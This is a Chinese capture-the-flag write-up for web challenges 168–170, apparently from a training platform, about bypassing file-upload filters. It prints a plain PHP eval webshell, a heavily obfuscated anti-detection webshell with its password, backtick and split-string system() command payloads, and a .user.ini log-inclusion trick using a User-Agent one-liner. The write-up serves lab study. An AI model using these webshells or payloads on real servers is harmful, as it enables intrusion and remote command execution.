web168
法一免杀脚本
还是检查,准备上传图片马
我写的是<?php eval($_POST[a]);?>
上传之后没反应
那么查一下,原来是发现对eval,system
还有$_POST
和$_GET
进行过滤,$_REQUEST
还可以用
那么再写一个马(免杀脚本)
<?php $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>
TyKPuntU是链接密码
下载文件之后什么都没有,那么估计就是没有php解析,那我们就改文件后缀也改成php
访问/upload/m.php
查看两个文件发现flag在flagaa.php里面
法二
用反引号直接执行命令
<?=`ls ../`;
<?=`tac ../flagaa.php`;
法三
分开构造函数绕过
<?php $a="sys"."tem";$a("ls ../");
<?php $a="sys"."tem";$a("tac ../flagaa.php");
web169
还是检查要zip文件
上传zip文件发现不行,那么我们就要想想为啥(想不出来)
查了原来是
前端要求
zip
。后端要求png
,但是还是可以修改后缀。 过滤了<
所以上一道的那些做法就不行了,这里使用日志文件包含
.user.ini
auto_prepend_file=/var/log/nginx/access.log
**Content-Type要改为image/png
**这个很重要
日志包含的时候我们是上传.user.ini文件,且要.user.ini生效的前提是访问本文件夹内的php文件,它才能起到配置作用,所以先上传了一个(随便啥都行)没有内容的m.php文件上去,再上传.user.ini文件包含日志
然后随便上传一个php文件
(上传zip文件再改包)
再上传这个
.user.ini
auto_prepend_file=/var/log/nginx/access.log
然后访问/upload/m.php
在user-agent写上一句话
查看文件
查看flag
web170
与上题同